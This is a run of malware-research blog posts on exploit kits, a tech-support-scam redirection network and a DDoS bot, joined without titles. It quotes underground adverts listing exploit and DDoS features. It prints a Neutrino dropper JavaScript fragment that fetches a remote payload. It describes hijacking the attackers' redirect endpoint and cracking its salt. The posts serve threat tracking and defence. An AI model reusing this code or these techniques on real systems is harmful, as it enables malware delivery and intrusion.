The CVE-2018-15982 is a bug that allows remote code execution in Flash Player up to 31.0.0.153, spotted in the wild as a 0day. Patched on December 05, 2018 with APSB18-42.
Итак! Тяжкие работы по восстановлению всей инфраструктуры связки закончены, были проведены тесты и в данный момент связка работает в полном объеме. Также были произведены множество правок и изменений.
Изменения:
Увеличена производительность
Полностью переработан механизм обфускации кода и генерации лэндинга.
Убран CVE-2018-8373 на переработку. В данный момент сплоит ведет себя не стабильно.
Добавлен новый флеш сплоит CVE-2018-15982.
Для запуска повершелл в шеллкод добавлен код отключения AMSI
Кучка мелких правок
ИЗМЕНЕНА ЦЕНОВАЯ ПОЛИТИКА
Неделя 400$
Месяц 1300$
В данный момент при проверке отстука софта со связки было выявлено:
Отстук EXE на уровне 80-90%
Отстук PowerShell на уровне 95-100%
Translated by google as:
So! The hard work on the restoration of the entire infrastructure of the bundle was completed, tests were carried out and at the moment the bundle is working in full. There have also been many edits and changes.
Changes:
Increased performance
The code obfuscation and landing generation mechanism has been completely redesigned.
Removed CVE-2018-8373 for recycling. At the moment, the flow rate is not stable.
Added new flash sploit CVE-2018-15982.
To launch Powershell, the disable code AMSI is added to the shellcode
A bunch of minor edits
CHANGED PRICE POLICY
Week 400 $
Month $ 1300
At the moment, when checking the otstuk software from the bundle, it was revealed:
After a week without buying traffic, Magnitude is active again, now with CVE-2018-8174:
Figure 2: Magnitude successfully exploiting CVE-2018-8174 against IE11 on Windows 7 to deploy Magniber Ransomware - 2018-06-02
Note: Magniber is back (after 1 month and half of GandCrab) in this infection chain and is now (as GandCrab) also accepting Dash cryptocurrency as payment
Spotted on the 2018-03-09 (but probably there since several days)
Figure 1: Greenflash Sundown successfully deploying Hermes 2.1 Ransomware after exploiting Flash 26.0.0.131 in IE11 on Windows 7 - 2018-03-09
GreenFlash is a private heavily modified version of Sundown EK spotted in october 2016 by Trendmicro. It’s beeing exclusively used by the “WordsJS” (aka “ShadowGate”) group.
This group is getting traffic from crompromised OpenRevive/OpenX advertising server since at least may 2015.
Figure 2: Some tagged activity from WordsJS displayed in MISP.
Some references about the activities of this group:
If you saw this kind of traffic in your perimeter/telemetry, i’d be happy to get more referer
Edits:
2018-03-10 - 15:40 GMT - Removed mention of steganography. @smogoreli: “simple offset in the dat file”
Acknowledgement:
Thanks to Genwei Jiang (FireEye) for the CVE identification.
Thanks to Joseph Chen for inputs allowing the capture of a fresh pass of GreenFlash Sundown.
Thanks to @GelosSnake & @baberpervez2 for the ping on suspicious activity that could be associated to “WordsJS” (aka “ShadowGate”) and triggered those checks.
Disclaimer: This post is hosted here as a courtesy to the author who prefers to remain anonymous. MDNC was not involved in any way with this study.
Introduction
EITest is one of the longest malicious delivery campaigns that has continued to evolve. In the spring of 2017, it started redirecting Internet Explorer users to tech support scams in addition to the existing redirections with the fake Chrome fonts.
We believe the tech support scam campaign we are describing in this post is one of the most widespread and well organized because it relies on several schemes in addition to EITest, such as traffic redirection using a distributed system infrastructure.
Actors behind this campaign are generating hundreds of domains per day.The only purpose of those domains names is to redirect users to tech support scams or malicious websites.
Highlights
We were able to redirect a considerable amount of traffic destined to Tech Support Scam websites to a controlled infrastructure for a period of 8 hours. After they fixed the flaw that allowed us to do that, we were able to bypass the new protection in place to take control again of the traffic for another 6 hours.
We discovered a network of bots controlled by a fraudulent Traffic Monetization company
We’ve collected a list of 1562+1294 compromised websites responsible for the redirections of users to scams
The actors are generating over 100 new domains each day to serve TSS via Freenom
The scam
The landing page sometimes changes, but always has the same goal: trying to take control of the browser so the user cannot close it, in hopes that they will panic and call the phone number for assistance.
Tech support scammer (TSS) are sometimes changing the landing page to better abuse the browser. Anyhow, this is what the current landing page looks like.
People that call those numbers will be told how to install a remote control software so the interlocutor can show Windows log events and services to the user, pretending that those are signs of an infected machine. The crooks will then offer a remote reparation service varying from $100 to $600.
Look at different redirection mechanisms
While analyzing the different ways for a user to be redirected to those scam support pages that try to hijack the browsers, we quickly documented multiple different redirection schemes using many different infrastructure. For this reason, we believe that many differents actors are responsible for sending traffic to the redirection network. Let’s begin by describing the most prolific methods of redirections.
EITest Redirection
EITest infected websites have the capability of injecting javascript in page upon loading. We can observe redirections to tech support scam (TSS) websites since 2017. The injection that occurs when the victim’s user-agent is IE, Edge or Firefox, is the following:
This script will, after verifying that it is running in a real browser, set a cookie named “popundr” and redirect the user at a decoy URL, hxxp://checkalldir.bid/index/?MGjJPm in this case. Decoy domains injected resolve to IP 204.155.28.5, in a range belonging to KING-SERVERS (AS 14576). Since 2018-02-26, injected domains were resolving to IP 54.36.180.110 at OVH instead (AS16276). It later changed back to 162.244.35.33, where TSS domains are now pointing.
This EITest campaign is generating ~1 new domain per day (usually with the TLD .bid). Those are easily recognizable by their patterns “/?{6 characters}” in the URL, but the pattern is changing about 4 times per day. The reason they are using a decoy URL and a specific pattern is so they can be routed through their Keitaro TDS (traffic distribution system). In fact, we can browse to the panel of this TDS by accessing it with the IP address at URN /admin:
Routing requests to their TDS before landing on the final destination allows them to have better control of the traffic and manage multiple campaigns. They are also doing more filtering on who will be redirected through this URL. We know that they are verifying at least the user-agent of the requester before allowing any redirection. Here is what will happen when the victims get redirected to one of those domains:
In this case, querying the decoy EITest URL with an user-agent set to “MSIE” was enough for the TDS to send a 302 redirection to the landing page: hxxp://coloured-canvas.tk/?number=800-803-1741
Crypper Redirection
This campaign generates about 165 redirections / hour. Website luyengame.com was responsible for 904 redirections (68%).
For this redirection, we were able to get our hands on the malicious PHP file that is responsible for the generation of the script that redirects users:
The PHP code will start by hiding any errors from the output and get the user-agent and referer of the visitor. Prior to the creation of the javascript that will redirect the user, the code checks that the visitor is not a bot (crawler) and that the visitor is not on a mobile device. If those checks pass, it will fetch the current Tech Support Scam (TSS) domain hxxp://roi777.com/domain.php and append the path “/index/?2661511868997” to it.
Finally, the function “redirectdd” is called with the created URL and the script will output with the latest domain that roi777.com provided:
The script then sets a cookie “1561065164894_CRYPPER” and redirects the user with window.location. Although simple, this script is efficient enough to redirect many visitors.
Biz Redirection
This campaign generates about 1888 redirections / hour. Website myilifestyle.com was responsible for 1199 redirections (8%) and www.fertilitychef.com for 1091 (7%) of the redirections.
This redirection is distinguishable with the added path to the TSS domain: “/index/?2171506271081”.
The script will fetch another script from hxxp://5.45.67.97/1/jquery.js.php and run it, leading to a redirection:
Plugin Redirection
This campaign generates about 184 redirections / hour. Website Archive-s54.info was responsible for 119 redirections (8%).
This campaign has malicious Javascript slightly obfuscated by using the “reverse string” function:
There are a few variants of this script containing different URLs. By applying the reverse string function again on the string containing the malicious URL, we were able to identified all of them:
Once visited, those PHP files will set a cookie and redirect the user to the TSS landing page with the parameter “/index/?2101505838590” without further verification:
Clearly, those four (4) website redirecting users have been hacked. One of them has the directory listing enabled, allowing us to see that the malicious file has been put there on 2017-11-17. It is probably at this date that this campaign started. Also, as another malware researcher did, we can search for some of the unique constants in the javascript file on Google and find more than 8000 indexed websites that are apparently infected with this script:
Sometimes, the script gets injected multiple times within a page or in a way that it doesn’t work. For example, this website got defaced with the badly injected javascript:
We went one step further when we realized that those malicious PHP files redirecting the users were logging every queries received in a .txt file accessible on the same server. For each redirected user, we had the timestamp of the query, their IP address, referrer and their user-agent. We then downloaded the logs for each of those 4 websites to index them in a database. To consider a request unique, we looked at the hash of: The timestamp of the request + the victim IP + the referer domain name.
This allowed us to determine that more than 7400 unique redirections happened since february 20.
Country of redirected users for the ‘Plugin’ redirection
The campaign is still going on so the numbers are constantly increasing. We also looked at unique domains in the referer field. We spotted ~1294 different domains redirected those users. The ones that redirected the most users are:
Some website are redirecting users to TSS domains with the following path: “/index/?1641501770611”. It is the result of running this malicious javascript:
After deobfuscation, the code becomes readable and we can see the redirection:
The client will query the URL at hxxp://ads.locationforexpert.com/b.php (the filename often changes). The remote script then returns the URL where the user will be redirected.
ContainerRU Redirection
This campaign generates about 335 redirections / hour. Website www.cursosortografia.com was responsible for 158 redirections (6%) and cursosaprende.com for 142 redirections (5%).
This Javascript found was obfuscated by hiding the content of the code in a fake image encoded in base64:
After deobfuscation, we can analyse the code:
The script will verify If the navigator of the user is either Chrome or Firefox. In this scenario, the user is redirected to an URL serving a payload. If the browser is Internet Explorer, the user will be redirected to the following URL: hxxp://div-class-container.ru/index5.php, which will in turn redirect the user with an HTTP 301 to the TSS page with the parameter “/index/?801492446045”:
In all cases, if the domain name of the actual infected website contains “edu”, “gov” or “mil”, the script will not redirect the user.
The IP address where this redirecting script is hosted (193.201.227.193) has been linked to unwanted redirects in late 2017.
Doorways redirections
What is a Doorway?
A doorway script is usually an obfuscated PHP script that can trick search engines crawler to perform black hat SEO by modifying the content of a website to specific combination of keywords. However, the one used in this campaign is pretty advanced and allows the owner to basically do whatever he wants with the infected websites, such as injecting content. We discovered that he will often ‘upgrade’ those doorway scripts to PHP backdoors.
We also saw other prolific campaigns for which we don’t have the redirections scripts. For instance, the one generating the largest amount of traffic (URLs are recognizable with “/index/?1051496225880”) has been responsible for 43503 redirections over the 8 hours period (5437 redirections per hour) and represents 40% of the overwall traffic seen:
The websites who redirected users for this largest campaign is mostly archive-s54.info with 18331 redirects, followed by:
sharesix.com (947 redirections)
www.gowatchfreemovies.to (919 redirections)
myilifestyle.com (871 redirections)
www.primewire.ag (862 redirections)
Sharerepo.com (856 redirections)
www.fertilitychef.com (820 redirections)
Filenuke.com (800 redirections)
We believe that those website have the doorways backdoor installed. Most of them are configured to get to latest TSS URL to :
hxxp://fped8.org/doorways/settings_v2.php?clientid=<ID>&ineednewurltoredirect=yes
This website will return the appropriate domain to redirect the user:
Other redirections
By monitoring the backend servers, we discovered that the same infrastructure also serves for other malicious activities.
Chrome plugin
We’ve also observed some redirections chains from malvertising leading to fake chrome extensions. For example, one customer of PopAds, whose account is now banned, was redirecting clients to a TDS system at this URL: hxxp://162.244.35.210/newantikas/?cP65FB. After multiple redirections, the users landed on the website livelifeo.top, which resolved to IPs belonging to the back-end server we were monitoring:
After more digging into domains associated to the same scam, we also found another version of the landing page that tried to trick users to those malicious Chrome extensions:
The back-end server, owned by Roi777 was also responsible for the traffic generated by those malicious Chrome extensions.
We also found a control panel that allowed them to categorize the status of those applications. Fortunately for us, the developer had no idea how to properly protect this panel. The password verification function was implemented in client-side Javascript.
We later found those Chrome extension in the Chrome Store infected and heavily obfuscated. The purpose of them was to randomly redirect the user while browsing. The page where users get redirected can vary from nuisance advertisement to fake software installation page and TSS.
Anyhow, those addons are no longer being pushed and the page is no longer being updated. The actors probably moved to something else.
Pinterest
We also found some links to TSS on Pinterest:
jeanclementcom.us has been registered with the email address [email protected], like many other domains name hosted on Roi777 infrastructure.
Android applications
Malicious APKs are also found to be served when browsing to a domain hosted on his infrastructure : fped8.org/mob/antivirus/1/en/index.php
The payload is then downloaded from: fped8.org/mob/antivirus/1/en/downloader.php. Once installed, the application will contact another domain hosted on the same server (hxxp://alija.xyz/panel/).
This APK has the ability to redirect users to fraudulent ads and potentially TSS.
Analysis of the backend traffic
By monitoring differents TDS and back-end server serving those TSS campaigns, we saw a lot of different traffic type linked to differents malicious activities.Not only is this actor involved in the selling of fake software and redirecting to scams, but also in severals webshells and doorways backdoors, allowing him to control a vast network of compromised websites. This section take a look at those differents access methods and how they are leveraged.
Uses of scams domains
We observed TSS domains usually having the TLD .TK changing more than 100 times per day for this campaign. In the last 30 days only, we were able to log 2912 of those domains. Here is the most common IPs where they are pointing:
999 of them (35%) are resolving to 204.155.28.5 (King Servers)
878 of them (30%) are resolving to 185.159.83.47 (King Servers)
162 of them (5%) are resolving to 54.36.151.52 (OVH)
PHP Backdoor
We discovered that many “bots” were reporting to the back-end server belonging to Roi777. In fact we account for a total of 1562 infected websites reporting to his server. There are two types of backdoors that report to the infrastructure we monitored.
The first one being Doorways.We counted 386 differents website constantly asking the server for content to inject.
For the other type of backdoor, we observed 1176 differents domains infected reporting to the server, also asking for content to inject. Here is some stats about the CMS they used:
WordPress : 211
OpenCart: 41
Joomla: 19
Magento: 1
Unknown: 904
This backdoor is described in the next section.
Doorways to PHP backdoor
The Doorways have the capability to fetch for instruction and code to execute. We noticed that many of them were querying fped8.org/doorways/settings_v2.php. This URL, when queried with the good parameters, returns code to execute. This allowed us to saw how they can deploy PHP shell through their Doorways:
The content returned contains the backdoor encoded in base64, rot13 and base64 again. After de-obfuscation, we got this code:
The first part of this malicious PHP script will query hxxp://kost8med.org/get.php with the user-agent of the current visitor requesting the page and it’s IP address. If a content is returned, it will be outputted in the content of the page. That said, the owner of the backdoor can inject any code they want into the page. Again, kost8med.org is resolving to 162.244.35.30 which is an IP address belonging to Roi777.
The second part of the script contains a backdoor function executing every request received in the “c” field of the POST parameter of the request if the parameter “p” is also set with the correct password.
The password validation is done in a strange way. The received parameter “p” will be hashed twice before being compared to the hardcoded MD5 hash. However both the idea and the implementation is deficient here, because hashing twice is not more secure in this situation and the comparison is done with “==” instead of “===” (strict comparison), plus the fact that MD5 is no longer considered secure.
It took less than 30 mins to crack the actual password allowing the control of those backdoors. We must say that the speciality of those guys is clearly not security, but rather the opposite.
On a Wordpress installation, this backdoor is usually found in those files:
wp-config.php
index.php
wp-blog-header.php
Footer.php
We also found what looks like the administrator panel on the same server that they are reporting to:
Other backdoors
Many of the websites that were infected by the original backdoor we were investigating on were also infected with other PHP malicious scripts. However, we don’t think those other scripts were linked to this campaign.
Infection vector (plugin that is hacked, infected path)
It is hard to know for sure how those CMS has been infected. One thing we did notice on lot of them is that the malicious code was in the file footer.php of a WordPress plugins named Genesis. It turns out that this plugin was known to be vulnerable against Arbitrary File Upload in late 2016. However a lot of them have been exploited by other means, such as with other vulnerable plugins and passwords stealings / brute forcing.
Redirecting the traffic flow (or dethroning the king)
By looking at requests sent to the back-end servers, we noticed curious GET requests among a the traffic. The GET requests in question were formatted like the following :
hxxps://wowbelieves.us/tech_supportv2.php?update_domain=<Tech support Scam domain>
The update_domain parameter immediately drew our attention, so we tried to do a query to the same PHP file with a domain under our control as the value of this parameter. Immediately, our server started receiving traffic.
So apparently, calls to this PHP file change to current domain published for TSS that the backdoors are relying on to redirect the users. In fact, we were able to change the domain returned by roi777.com/domain.php, where multiple backdoors are fetching the current TSS domain. As said before, those domains are changing more than 100 times a day, and we observed that they have a script calling /tech_supportv2.php frequently so users can be redirected to the latest domain. That said, when we changed the TSS domain to point to a domain under our control, it took only few minutes before their script updated it with the real TSS, overwriting ours at the same time. To keep the traffic going to our server, we then had to query multiple time per minute this webpage, and it sure worked.
After the initial 8 hours in which we had control of most of the traffic, they updated tech_supportv2.php and their script calling it so that the parameters expect were now the domain name to update, plus a key:
hxxps://wowbelieves.us/tech_supportv2.php?update_domain=<Tech support Scam domain>&key=<Hash MD5>
To fix the aberrant lack of security in their mechanism to update the current TSS domains, they added this key to the parameters so our previous requests weren’t working anymore.
What is this ‘key’ parameter ?
The key parameter was 32 characters long, so we immediately thought of an MD5 hash. We tried to hash the current domain to see if it was matching, but no luck. We also noticed that the ‘key’ value (or hash) was different for each TSS domain they were updating and we were able replay them without problem. Given this information, it looked like it they were probably using some sort of salting with the domain name before hashing it.
Knowing a part of the hashed value (the domain name), and giving their expertise in cryptography, we started a mask attack locally with hashcat. It took us less than 10 seconds to reveal the salt used. The MD5 hash was the result of the domain name concatenated to the string: “ropl”. This allowed us to take the control back (on and off) of the traffic for another 7 hours. However, the stats used above for webshells and redirections are only based on the first 8 hours of collection.
Note that we didn’t take advantage of the redirected traffic, we instead logged every request made and temporarily neutralized the campaigns by avoiding any redirections to malicious websites.
The first time we redirected the traffic, we collected more than 108700 requests (8 hours period).
The second attempt to redirect the traffic allowed us to log more than 55000 requests (6 hours).
By combining both data sets, we did some statistics:
Every request made by IP 89.108.105.13 (Russia) was excluded from the graph because it generated by itself 48256 requests to /index/api.php and we believe that this traffic is generated by one of their server that control doorways on their infrastructure.
Here are the top 15 most seen websites in the referer field (probably infected websites):
Here are the most seen user-agents in those requests:
It’s interesting to note that a lot of requests were coming from Kodi (Open Source Home Theater Software), followed by Internet Explorer browser.
Link to Roi777
Considering the variety of coding styles, providers, IPs used and infected websites, we believe that many actors are involved in the traffic redirection. However, it is clear that the one known as roi777 has a central role in this whole scheme. As advertised on his website, he’s buying any type of traffic after all.
How does all of that links to Roi777 ?
Redirections chains explained above will not always redirect users to TSS. In fact, they are often filtering clients base on GeoIP and user-agent. When the traffic is unwanted for TSS, the redirection chain will often lead to : hxxp://balans.shahterworld.org.
The parameters passed to those requests is another indication that this campaign is lead by roi777: hxxp://balans.shahterworld.org/?utm_medium=4c23b9fecf7dfd895dfe0da99e857f3bee8e9d42&utm_campaign=roi777_cloack
Also, almost all of the redirections scripts are either pointing directly to roi777.com/domain.php to fetch the latest domain or they are reporting to this same backend server, waiting for instruction.
We found an interesting discussion that happened on 06-01-2018 on this Russian forum[^1] involving the owner of the company Roi777 (using the nickname bagussusu) and another actor (azuluk) providing him backdoors, doorways and other elements mean to increase the number of redirected users. You can read the translated conversation here. In summary, we can learn that :
They were involved in the traffic generated by some Chrome Extension
They are using Quiwi / WebMoney financial services to transfer money.
Their main offer is currently Tech Support Scam.
Bagussusu is accepting a minimum trade of 1000 webshells and can convert them to Doorways
Azuluk had 30GB of mail accounts+passwords ready to sell. 5 millions of those were corporate accounts
Bagussusu is also using SPAM to increase the traffic.
Bagussusu have some employees working for him (developers).
The return on investment is apparently better in France (people get scammed easier).
This non-exhaustive list is some of the most common pseudonyms he uses online. He operates a company that does “Traffic Monetization”. We now know how this traffic is brought back to his network (by illegals means) and what it is for (fraud).
Roi777 Website
His official website advertises some Success stories !
Success stories include traffic generated by Doorways
And there’s also a Keitaro TDS installed directly on /tds/:
IOCs:
Most of the domains for domains used for scams are being resolved by ns1.rakamakao.org and ns2.rakamakao.org (195.245.113.186 & 195.245.113.187). The PowerAdmin administration tool they are using is accessible on the same servers:
Some of the domains:
alija.xyz
fped8.org
wowbelieves.us
shahterworld.org
roi777.com
kost8med.org
picturesun.top
websun.top
apelsinnik.site
chooseok.top
anyads.top
49frankov.top
africangirlskillingit.top
africanprint.top
africanpygmyhedgehog.top
africanamerican.top
arbuz01.org
ava4.org
jessica1.org
crispyom.org
kir2great.us
selenapix.us
wowbirth.us
Also, AS14576 Bullet proof hoster: King Servers doesn’t seems to host any legitimate services except of cyber-crime on their infrastructure.
IPs:
204.155.28.5
54.36.180.110
54.36.151.52
89.108.105.13
185.159.83.48
185.159.83.47
190.2.132.198
162.244.34.20
162.244.35.21
162.244.35.30
162.244.35.33
162.244.35.35
162.244.35.36
162.244.35.54
162.244.35.55
162.244.35.234
195.245.113.187
195.245.113.186
Conclusion
By distributing fake applications, using underground malware distribution campaigns, and leveraging malvertisements, the actors behind the company Roi777 are trying to get as much traffic as they can, by any means possible. They are well active and always willing to get more traffic redirected to their scams so they can increase their income.
The EITest campaign, in part responsible for the TSS redirections, is still active even if it is one of the oldest campaign running and the backend servers IP have previous been revealed.
CoalaBot appears to be build on August Stealer code (Panel and Traffic are really alike)
I found it spread as a tasks in a Betabot and in an Andromeda spread via RIG fed by at least one HilltopAds malvertising.
2017-09-11: a witnessed infection chain to CoalaBot
A look inside :
CoalaBot: Login Screen (August Stealer alike)
CoalaBot: Statistics
CoalaBot: Bots
CoalaBot: Tasks
CoalaBot: Tasks
CoalaBot: New Taks (list)
CoalaBot: https get task details
CoalaBot: http post task details
CoalaBot: Settings
Here is the translated associated advert published on 2017-08-23 by a user going with nick : Discomrade. (Thanks to Andrew Komarov and others who provided help here). ------------------------------------------
Coala Http Ddos Bot
The software focuses on L7 attacks (HTTP). Lower levels have more primitive attacks.
Attack types:
• ICMP (PING) FLOOD
• UDP FLOOD
• TCP FLOOD
• HTTP ARME
• HTTP GET *
• HTTP POST *
• HTTP SLOWLORIS *
• HTTP PULSE WAVE *
* - Supports SMART mode, i.e. bypasses Cloudflare/Blazingfast and similar services (but doesn’t bypass CAPTCHA). All types except ICMP/UDP have support for using SSL.
Binary:
• .NET 2.0 x86 (100% working capacity WIN XP - WIN 7, on later versions ОС .NET 2.0 disabled by default)
• ~100kb after obfuscation
• Auto Backup (optional)
• Low CPU load for efficient use
• Encryption of incoming/outgoing traffic
• No installation on machines from former CIS countries(RU/UA/BL/KZ/...)
• Scan time non-FUD. Contact us if you need a recommendation for a good crypting service.
• Ability to link a build to more than one gate.
Panel:
• Detailed statistics on time online/architecture/etc.
• List of bots, detailed information
• Number count of requests per second (total/for each bot)
• Creation of groups for attacks
• Auto sorting of bots by groups
• Creation of tasks, the ability to choose by group/country
• Setting an optional time for bots success rate
Other:
• Providing macros for randomization of sent data
• Support of .onion gate
• Ability to install an additional layer (BOT => LAYER => MAIN GATE)
Requirements:
• PHP 5.6 or higher
• MySQL
• Мodule for MySQLi(mysqli_nd); php-mbstring, php-json, php-mcrypt extensions
While Empire (RIG-E) disappeared at the end of December after 4 months of activity
Illustration of the last month of witnessed Activity for Empire
on 2017-02-17 an advert for a new exploit kit dubbed Nebula appeared underground.
------ Selling EK Nebula ------ Nebula Exploit kit Features: -Automatic domain scanning and generating (99% FUD) -API rotator domains -Exploit rate tested in different traffic go up 8/19% -knock rate tested whit popular botnet go 30/70% -Clean and modern user interface -Custom domains & server ( add & point your own domains coming soon...) -Unlimited flows & files -Scan file & domains -Multiple payload file types supported (exe , dll , js, vbs) -Multi. geo flow (split loads by country & file) -Remote file support ( check every 1 minute if file hash change ; if changed replace ) for automatic crypting -Public stats by file & flow -latest CVE-2016 CVE-2017 -custom features just ask support Subscriptions: 24h - 100$ 7d - 600$ 31d - 2000$ Jabber - [email protected] Offering free tests to trusted users ------ In same thread some screenshots were shared by a customer.
Earlier that same day, colleagues at Trendmicro told me they were seeing activity from a group we are following under the name "GamiNook" (illustration coming later) in Japan redirecting traffic to a variation of Sundown.
"GamiNook" redirecting to a Sundown Variation in Japan - 2017-02-17 Payload : Pitou (6f9d71eebe319468927f74b93c820ce4 )
This Sundown variation was not so much different from the mainstream one.
No "index.php?" in the landing URI, different domain pattern but same landing, exploits, etc... Some payload sent in clear (01.php) other RC4 encoded (00.php) as for Sundown.
Digging more it appeared it was featuring an Internal TDS (as Empire).
The same exact call would give you a different payload in France or in United Kingdom/Japan.
"GamiNook" traffic with geo in France - 2017-02-17 Identicall payload call gives you Gootkit instead of Pitou Payload : Gootkit (48ae9a5d10085e5f6a1221cd1eedade6)
Note: to be sure that the payload difference is tied to Geo and not time based (rotation or operator changing it ) you need to make at least a third pass with first Geo and ensure dropped sample is identical as in first pass.
At that point you can only suspect this Sundown variant might be Nebula (even if clues are multiple, a funny one being that the traffic illustrated in the advert thread is quite inline with the one captured in France).
So I was naming that variation: Sundown-N. Intel shared by Frank Ruiz (FoxIT) on the 21st allowed me to know for sure this traffic was indeed Nebula.
The following days i saw other actor sending traffic to this EK.
Taxonomy tied to Nebula Activity in MISP - 2017-03-02
Taxonomy tied to GamiNook traffic activity, EK and resulting payload
2017-03-02 Nebula with its new pattern used here to drop Ramnit via Malvertising in NA - 2017-03-02
This landing pattern change triggered the publication of this post. Nebula might end up not being a "vapor" EK but let's wait and see. The only difference with Sundown till today was its internal TDS.
providing again (cf CVE-2016-0189) ready-to-use code to Exploit Kit maintainer.
After not far from 6 months without new exploit integrated in an EK ecosystem which has lost its innovation locomotive (Angler) , the drive-by landscape is struggling to stay in shape. Low infection rate means more difficulties to properly convert bought traffic.
The exploits are spotted first in Sundown, but integration in RIG/Empire/Neutrino/Magnitude/Kaixin should be a matter of hours/days.
[edit : 2017-01-10] I have been told that with Win10 1607, Microsoft Edge has some quite strong mitigation: no WinExec, no CreateProcess, no ShellExecute, meaning every child process creation is blocked. The PoC might need a little more "magic powder" to work there. [/edit]
Sundown: 2017-01-06
Sundown EK firing CVE-2016-7200/7201 to Edge 2017-01-06 No exploitation here though
Out of topic: expected payload in that infection chain was zloader. (other payload seen in past weeks dropped via Sundown : Zeus Panda, Neutrino Bot, Dreambot, Chthonic, Andromeda, Smokebot, Betabot, Remcos, IAP, RTM, Kronos, Bitcoin Miner)
Neutrino: 2017-01-14 -- Thanks to Trendmicro for the multiple inputs that allowed me to keep plugged to this infection chain. -- So as explained previously Neutrino is now in full private mode and fueled via Malvertising bought to several ad agencies (e.g. ZeroPark, ClickAdu, PropellerAds, HillTopAds) by a Traffer actor which I tag as NeutrAds. Their infection chain is now accepting/redirecting Microsoft Edge Browser as well. Without big surprise a new exploit is included in the Flash bundle : nw27 > CVE-2016-7200/7201.
NeutrAds redirect is now accepting Edge traffic - 2017-01-14
http://67.198.186[.254/ca.php?m=525441744D5441744D6A63744E3055744D554D745130493D&h=437 Edits: 2016-11-10 - Adding information about mitigation on Edge 2016-11-14 - Adding Neutrino 2016-11-16 - Fixed the screenshot for Neutrino. Was stating CVE-2016-4117 was there. It's not 2016-11-16 - Adding Kaixin
Around the middle of August many infection chains transitioned to RIG with more geo-focused bankers and less CryptXXX (CryptMic) Ransomware.
Picture 1: Select Drive-by landscape - Middle of August 2016 vs Middle of July 2016
RIG += internal TDS :
Trying to understand that move, I suspected and confirmed the presence of an internal TDS (Traffic Distribution System) inside RIG Exploit Kit [Edit 2016-10-08 : It seems this functionality is limited to Empire Pack version of RIG] I believe this feature appeared in the EK market with Blackhole (if you are aware of a TDS integrated earlier directly in an EK please tell me) Picture2: Blackhole - 2012 - Internal TDS illustration but disappeared from the market with the end of Nuclear Pack Picture3: Nuclear Pack - 2016-03-09 - Internal TDS illustration and Angler EK Picture 4 : Angler EK - Internal TDS illustration This is a key feature for load seller. It is making their day to day work with traffic provider far easier . It allows Exploit Kit operator to attach multiple payloads to a unique thread. The drop will be conditioned by Geo (and/or OS settings) of the victim.
Obviously you can achieve the same result with any other exploit kit…but things are a little more difficult. You have to create one Exploit Kit thread per payload, use an external TDS (like Keitaro/Sutra/BlackHat TDS/SimpleTDS/BossTDS, etc…) and from that TDS, point the traffic to the correct Exploit Kit thread (or, if you buy traffic, tell your traffic provider where to send traffic for each targeted country). Picture 5: A Sutra TDS in action in 2012 - cf The path to infection
Around 2016-09-12 a variation of RIG (which i flag as RIG-v in my systems) appeared. A slightly different landing obfuscation, RC4 encoding, Neutrino-ish behavioral and added CVE-2016-0189 Picture 6: RIG-v Neutrino-ish behavioral captured by Brad Spengler’s modified cuckoo Picture 7: CVE-2016-0189 from RIG-v after 3 step de-obfuscation pass.
Neutrino waves goodbye ?
On 2016-09-09 on underground it has been reported a message on Jabber from the Neutrino seller account :
“we are closed. no new rents, no extends more”
This explains a lot. Here are some of my last Neutrino pass for past month.
Picture 8: Some Neutrino passes for past month and associated taxonomy tags in Misp
As you can see several actors were still using it…Now here is what i get for the past days :
Picture 9: Past days in DriveBy land Not shown here, Magnitude is still around, mostly striking in Asia Day after day, each of them transitioned to RIG or “RIG-v”. Around the 22nd of September 2016 the Neutrino advert and banner disappeared from underground.
Picture 10: Last banner for Neutrino as of 2016-09-16 Are we witnessing the end of Neutrino Exploit Kit ? To some degree. In fact it looks more like Neutrino is going in full “Private” mode “a la” Magnitude.
Side reminder : Neutrino disappeared from march 2014 till november 2014
A Neutrino Variant
Several weeks ago, Trendmicro (Thanks!!) made me aware of a malvertising chain they spotted in Korea and Taiwan involving Neutrino. Picture 11: Neutrino-v pass on the 2016-09-21 Upon replay I noticed that this Neutrino was somewhat different. Smoother CVE-2016-4117, more randomization in the landing, slightly modified flash bundle of exploits Picture 12: Neutrino-v flash ran into Maciej ‘s Neutrino decoder Note the pnw26 with no associated binary data, the rubbish and additionalInfo A Sample : 607f6c3795f6e0dedaa93a2df73e7e1192dcc7d73992cff337b895da3cba5523
Picture 13: Neutrino-v behavioral is a little different : drops name are not generated via the GetTempName api
functionk2(k) { var y = a(e + "." + e + "Request.5.1"); y.setProxy(n); y.open("GET", k(1), n); y.Option(n) = k(2); y.send(); if (200 == y.status) return Rf(y.responseText, k(n)) };
Neutrino-v ensuring Wscript will use the default proxy (most often when a proxy is configured it’s only for WinINet , WinHTTP proxy is not set and Wscript will try to connect directly and fail) I believe this Neutrino variant is in action in only one infection chain (If you think this is inaccurate, i’d love to hear about it) Picture 14: Neutrino-v seems to be used by only one actor to spread Cerber 0079x
Coincidentally a new Exploit Kit is being talked about underground : Empire Pack. Private, not advertised. Picture 15: King of Loads - Empire Pack Panel Some might feel this interface quite familiar…A look a the favicon will give you a hint Picture 16: RIG EK favicon on Empire Pack panel Picture 17: RIG Panel It seems Empire Pack project was thought upon Angler EK disappearance and launched around the 14th of August 2016.
[Speculation] I think this launch could be related to the first wave of switch to RIG that occurred around that time. I think, Empire Pack is a RIG instance managed by a Reseller/Load Seller with strong underground connections. [/Speculation]
RIG-v is a “vip” version of RIG. Now how exactly those three elements (RIG, RIG-v, Empire Pack) are overlapping, I don’t know. I am aware of 3 variants of the API to RIG
api.php : historical RIG
api3.php : RIG with internal TDS [ 2016-10-08 : This is Empire Pack. Appears to be using also remote_api after this post went live. I flag it as RIG-E ]
remote_api.php : RIG-v
But Empire Pack might be api3, remote_api, or a bit of both of them.
By the way RIG has also (as Nuclear and Angler endup doing) added IP Whitelisting on API calls to avoid easy EK tracking from there. :-" (Only whitelisted IP - from declared redirector or external TDS - can query the API to get the current landing)
Conclusion
Let’s just conclude this post with statistics pages of two Neutrino threads Picture 18: Neutrino stats - Aus focused thread - 2016-07-15 Picture 19: Neutrino stats on 1 Million traffic - 2016-06-09
“We will be known forever by the tracks we leave” Santee Sioux Tribe
2016-10-03 : Removed limitation to KOR and TWN for Neutrino-v use by NeutrAds as Trendmicro informed me they are now seeing them in other Geos. Added explanation about the IP whitelisting on RIG API (it was not clear) 2016-10-08 : Updated with gained information on Empire Pack 2016-11-01 : RIG standard is now also using the pattern introduces past week by RIG-v. It's now in version 4. https://twitter.com/kafeine/status/790482708870864896
RIG panel
